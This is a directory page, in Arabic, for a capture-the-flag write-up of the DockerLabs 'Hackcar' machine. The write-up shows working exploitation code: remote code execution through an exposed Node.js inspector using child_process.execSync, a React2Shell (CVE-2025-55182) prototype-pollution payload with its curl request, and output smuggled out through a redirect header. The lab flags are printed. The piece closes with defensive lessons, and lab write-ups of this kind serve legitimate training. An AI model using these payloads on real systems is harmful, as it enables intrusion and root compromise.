Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
hackcar-writeup — تقرير: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
أدوات/GitHubGitHub/iapetus12/hackcar-writeup
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالCTFاختبار الاختراقالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عمليArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

تقرير: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

منذ 13س 16دلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Hackcar - Writeup

المنصة: DockerLabs الصعوبة: متوسطة (إلى حد ما، فيها تعقيدها) الهدف: من webuser إلى root عبر كسر Next.js


البداية: الاستطلاع

كالعادة، أولاً وقبل كل شيء: نرى ما أمامنا.

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

انتظر... ¿9229؟ هذا المنفذ ليس طبيعياً. وفحص كامل يؤكد وجود منفذين فقط:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

المنفذ 9229 هو المنفذ النموذجي لـ Node.js inspector (debugger). إذا كان مكشوفاً بدون حماية، فهو ببساطة باب مفتوح لتنفيذ الأكواد. لنتحقق.

root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

يا للهول. debugger الخاص بـ Node مكشوف، بدون مصادقة، وحتى يخبرنا أين يعيش التطبيق. هذا RCE مباشر.


المرحلة 1: RCE عبر Node.js Inspector

مع debugger مكشوف، نحتاج فقط للاتصال بـ WebSocket واستخدام Runtime.evaluate لتنفيذ ما نريد داخل عملية Node.

صنعت سكريبت سريعاً بـ Python يستخرج عنوان URL الخاص بالـ debugger وينفذ الأوامر باستخدام process.mainModule.require('child_process').execSync():

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

لتجنب المشاكل مع علامات الاقتباس، أرسل الأمر كاملاً بصيغة base64 وأفك ترميزه داخل العملية نفسها. أول اختبار:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

RCE كـ webuser. الجهاز في أيدينا... أو هكذا اعتقدت. اتضح أن الجزء الممتع كان مخفياً أكثر.

لنفحص العمليات لنرى ما يعمل أيضاً على الجهاز:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

انتبه للتفاصيل! هناك Next.js إصدار 15.0.0-rc.1 يعمل كـ ROOT على المنفذ 3000 (localhost فقط). هذا يبدو كامتياز... وكـ CVE.

بما أنه يستمع فقط على 127.0.0.1 داخل الحاوية، لا يمكننا الوصول إليه من الخارج. لكن لدينا RCE، لذا يمكننا الدخول من الداخل. أولاً لنرَ ما هو:

root@kitploit:~
curl -s http://127.0.0.1:3000/

يظهر "Internal Administration Portal" — بوابة إدارة داخلية. كل شيء مغري جداً.

وجدنا flag الخاص بالمستخدم بسرعة:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

والآن حان وقت الترقية إلى root عبر هذا Next.js.


المرحلة 2: React2Shell (CVE-2025-55182)

الإصدار هو Next.js 15.0.0-rc.1، الذي يستخدم React 19 المعرض لـ React2Shell (CVE-2025-55182) الشهير: RCE حرج (CVSS 10.0) بسبب prototype pollution في parser RSC (React Server Components / Flight protocol).

الاستغلال هو multipart/form-data مشوّه مع header Next-Action، مما يجعل parser الخاص بـ React يفك تسلسل كائن مسموم ينتهي به الأمر باستدعاء Function constructor مع الكود الخاص بنا:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<CÓDIGO JS A EJECUTAR>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

أي: يتم تسميم Chunk.prototype.then، يحمّل parser النموذج الخاص بنا، وعند حل الـ promise يتم تنفيذ JavaScript الخاص بنا في عملية Next.js، التي تعمل كـ root.

لاستخراج المخرجات استخدمت وضع "redirect": الكود ينفذ الأمر، يحوّل النتيجة إلى base64 ويضعها في خاصية digest لـ Error، الذي يعيده Next.js كـ header:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

الطلب النهائي:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

يستجيب الخادم بـ 500 (هذا طبيعي، إنه خطأ متعمد) وفي الـ header:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

نفك الترميز:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

نحن ROOT. و flag:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

ملخص الهجوم

root@kitploit:~
nmap
 └─ 8080 (web Express, estática, puro humo)
 └─ 9229 (Node.js inspector EXPUESTO)
      └─ RCE como webuser via Runtime.evaluate
           └─ Enumeración: Next.js 15.0.0-rc.1 en 127.0.0.1:3000 como ROOT
                └─ CVE-2025-55182 (React2Shell): RCE root
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags:

الملفFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

الثغرات (لماذا حدث هذا)

#الثغرةCWEما منحنا إياه
1Node.js inspector بدون مصادقة (المنفذ 9229)CWE-284RCE كـ webuser
2Next.js 15.0.0-rc.1 قديمة (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502RCE كـ root

الدروس:

  • لا تكشف أبداً debugger الخاص بـ Node في الإنتاج (ولا حتى في شبكة "داخلية").
  • حدّث تبعياتك. هذا Next.js يحمل CVE حرجة معروفة منذ أشهر.
  • لا تربط الخدمات بـ localhost فقط إذا كانت العملية مخترقة بالفعل: كان بإمكان webuser الوصول إلى localhost:3000.
  • DockerLabs دائماً للتعلم، وليس للتورط في بيئات حقيقية ;)

الأدوات

الأداةالاستخدام
nmapاستطلاع المنافذ
curlالاستطلاع على الويب وإطلاق الاستغلال
websocket-client (Python)التحدث مع inspector الخاص بـ Node
jadxالجهاز السابق (ليس هنا، لكنه لا يزال يبدو جميلاً بالنسبة لي)
base64نقل payloads بدون مشاكل مع علامات الاقتباس

Writeup لأغراض تعليمية. تعامل فقط مع الأجهزة التي لديك إذن بها (DockerLabs، HTB، مختبرك الخاص).

تنزيل الأداة